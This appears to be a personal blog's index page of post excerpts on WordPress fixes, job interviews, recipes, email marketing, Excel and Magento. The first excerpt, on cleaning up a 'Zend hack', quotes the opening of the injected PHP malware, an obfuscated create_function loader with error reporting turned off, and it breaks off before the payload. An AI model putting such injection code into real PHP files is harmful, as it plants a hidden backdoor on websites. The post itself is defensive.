Zend Injection Hack/Malicious Code Fix

Posted by on August 31, 2013 in WordPress | 0 comments
Zend Injection Hack/Malicious Code Fix
A site I host was recently compromised by a hack being labeled as the “Zend Hack”. I noticed the hack when visiting the site and seeing code errors displaying at the bottom of all pages. Google and ClamScan failed to pick up on the hack. The hack inserts the following code at the top of every .php page<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("",...
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Preparing for a Job Interview

Posted by on July 5, 2013 in Interview, Random | 0 comments
Preparing for a Job Interview
I have been working at getting comfortable with the interview process. After a couple interviews I realized the key is confidence and communication. Confidence in yourself and your skills with the ability to clearly communicate these to the interviewer. The biggest detriment to confidence I believe is the lack of preparation. To properly prepare for a interview you need to have a polished resume, cover letter and list of referrals. You also need to know the company, position your applying for and how you can be an asset to that...
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Maximum Upload File Size WordPress Error

Posted by on March 29, 2013 in WordPress | 0 comments
Maximum Upload File Size WordPress Error
So your trying to upload a large image or pdf to your WordPress site and have gotten the above error(xxxxxx exceeds the maximum upload size for this site, Maximum upload file size: 2 MB). If you own your own server or virtual server you can make the adjustment in the admin panel.  In WHM this is under PHP Configuration Editor.  Keep in mind adjusting this setting will effect all sites on your server. If you host multiple sites on your server and you want to choose which site can upload larger files or don’t have access to the server...
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Customer Service Matters!

Posted by on March 24, 2013 in Customer Service, Marketing | 0 comments
Customer Service Matters!
Most of us have a customer service horror story that we can describe in vivid detail. This experience stays with us and forever alters the relationship we have or had with the offending company. Taking your customers for granted seems to be the overall offending attitude.  If this attitude is not addressed and allowed to spread throughout an organization it can leave a sizable dent in the reputation the company. You might think the size of the company is a solid determiner of how well they treat their customers. This is not always the...
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Zucchini Bread

Posted by on March 16, 2013 in Bread, Cooking, recipes | 0 comments
Zucchini Bread
In full disclosure this is Theresa’s dish, I just really enjoy eating it!  That’s not to say she doesn’t recruit me to grate the zucchini’s, butter the pans or position the shelves in the oven mid-bake for the “perfect” finish.  The original recipe called for 2 cups sugar but we cut that in half.  We also add chocolate chips 9 out of ten times:) Another secret is freezing the bread(wrapped in aluminum foil). This keeps it good for as long as you can resist eating it! I think it tastes best this...
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2012 Constant Contact All Star!

Posted by on March 12, 2013 in Email Marketing, Marketing | 0 comments
2012 Constant Contact All Star!
I recieved a nice email from Constant Contact today awarding an account I manage with the recognition of being a 2012 Constant Contact All Star. The criteria for being a Constant Contact All Star isConsistently high open rates (greater than 25%), click through rates, and low bounce rates Regular contact with your audience, or publishing at least 2 events Completing two of the following Constant Contact activities:Adding list growth tool Join My Mailing List to your website Adding Join My Mailing List to your business Facebook...
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Butternut Squash Lasagna

Posted by on March 10, 2013 in Cooking, Pasta, recipes, Vegetarian | 0 comments
Butternut Squash Lasagna
This one of Theresa’s and my favorite winter dishes. The key to making the dish is plenty of butternut squash and liberal amounts of white sauce. Ingredients 1 tbsp olive oil 1 (1-2 pound) butternut squash, I recommend closer to 2 pounds:) Salt and pepper 1/4 butter 1/3 cup flour Nutmeg 12 lasagna noodles 2 1/2 cups of shredded mozzarella cheese 1/3 cup of parmesan cheese 4 cups of milk Directions Squash Prep and Noodles (with a large pan and metal colander you can combine the first two steps) 1) Peel, remove seeds, cube and toss squash...
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Inserting Multiple Blank Rows in Excel

Posted by on March 9, 2013 in Excel | 0 comments
Inserting Multiple Blank Rows in Excel
I ran across this easy solution for adding blank rows to existing data in excel.  Using the mouse and using the “insert”  function can be monotonous and time consuming for large spreadsheets. This solution is fast, easy and you can add as many blank rows as you need. Insert new column on left side. Title it “sort”.  Create a series in this column from the first row down to the end of the data: 1,3,5,etc. Then below that, create a series 2,4,6 etc down to the lowest number before the end of the 1st series. Then select...
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Add Code to the Header of any Page in Magento

Posted by on March 5, 2013 in Magento | 0 comments
Add code to the header of any page in your Magento store by following the simple instructions below. Being able to add code to a single page of a Magento store(product page, CMS page or category page) and only that page is a requirement for Google Experiments, affiliate programs, custom tracking, and more. This is also useful for calling needed scripts for design/functionality(image sliders, gallery effects, ect) that are only needed on a single page. The below solution uses the already highly functional widget and block combination of...
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How to Handle Bounced Emails

Posted by on March 2, 2013 in Email Marketing, Marketing | 0 comments
How to Handle Bounced Emails
Managing successful email campaigns requires diligent contact list management. By taking the time to weed out bad contacts you will increase your click through rate, open rate, conversion rate and the effectiveness of your sends. Just about any email service (Constant Contact, Exact Target, MailChimp, ect) allows, encourages even, contacts to opt-out or report as spam any email they classify as so.   This action places them on a do-not-mail list.  Contacts are filtered through this list and removed upon import.  Once a contact is placed on...
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